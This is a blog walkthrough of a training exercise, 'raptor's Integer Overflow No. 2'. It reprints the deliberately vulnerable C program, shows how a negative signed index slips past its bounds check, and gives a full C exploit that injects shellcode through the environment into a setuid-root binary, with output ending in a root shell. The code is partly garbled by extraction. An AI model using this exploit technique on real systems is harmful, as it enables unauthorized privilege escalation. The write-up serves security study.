xorl %eax, %eax

raptor’s Integer Overflow No. 2

leave a comment »

The next level has just an additional check as you can see:

 * $Id: int2.c,v 2004/05/29 14:15:05 raptor Exp $
 * int2.c - vulnerable program (int/short array overflows)
 * Copyright (c) 2003 Marco Ivaldi <raptor@0xdeadbeef.info>
 * See http://fakehalo.deadpig.org/IAO-paper.txt, by vade79/v9.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void place_int_array(int slot, int value)
    int array[32];

    if (slot > 31)
      printf("slot is greater than 31, out of bounds.\n");
    else {
      array[slot] = value;    /* the overwrite itself */
      printf("filled slot %d with %d.\n", slot, value);


int main(int argc, char **argv)
    if (argc != 3)
      printf("syntax: %s [slot] [value]\n", argv[0]);
      place_int_array(atoi(argv[1]), atoi(argv[2]));


It is used to check if the slot (index) number is greater than 31 or not. At first this might look difficult to overcome, however, if you read it more carefully you’ll notice that slot is of type int which means signed integer. Using this ‘pitfall’ we can inject negative numbers that are definitely smaller than 31 but they can point at the same location! To find the 33th element I made up a tiny utility which you can see here:

#include <stdio.h>
#include <stdlib.h>
#include <limits.h>

int main(int argc, char *argv[1]) {
    printf("Max. integer size is:\nDec.\t: %d - %d\nHex.\t: 0x%08x  - 0x%08x\n",

    if(argc > 1)
      printf("\nINT_MIN + %d = %d\n\n",
            atoi(argv[1]), atoi(argv[1]) + INT_MIN);

    return 0;

And using this you can easily find the equivalent negative value for 33 which is:

sh-3.2$ gcc util.c -o util
sh-3.2$ ./util 33
Max. integer size is:
Dec.    : -2147483648 - 2147483647
Hex.    : 0x80000000  - 0x7fffffff

INT_MIN + 33 = -2147483615


Since we have the new slot value that is able to bypass the check which was introduced in this level, I’m going to use the previous level’s exploit code but with this index instead of 33. And here it is:

#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define INDEX "-2147483615"
#define FNAME "./int2"

char sc[] =

    int ret = 0xbffffffa - strlen(FNAME) - strlen(sc);
    printf("[*] return address:\t %p\n", ret);

    char val[11];
    sprintf(val, "%d", ret);
    printf("[*] integer value:\t %d\n", val);
    printf("[*] index number:\t %s\n", INDEX);

    char *envp[2] = {sc, NULL};
    char *args[4] = {FNAME, INDEX, val, NULL};
    execve(FNAME, args, envp);
    return 0;

And finally, the result is of course:

sh-3.2$ ls -l int2
-rwsr-sr-x 1 root root 6735 2009-01-04 21:44 int2
sh-3.2$ gcc xint.c -o xint
sh-3.2$ ./xint
[*] return address:      0xbfffffcf
[*] integer value:       -1073744667
[*] index number:        -2147483615
filled slot -2147483615 with -1073741873.
sh-3.2# whoami

Written by xorl

January 4, 2009 at 19:52

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s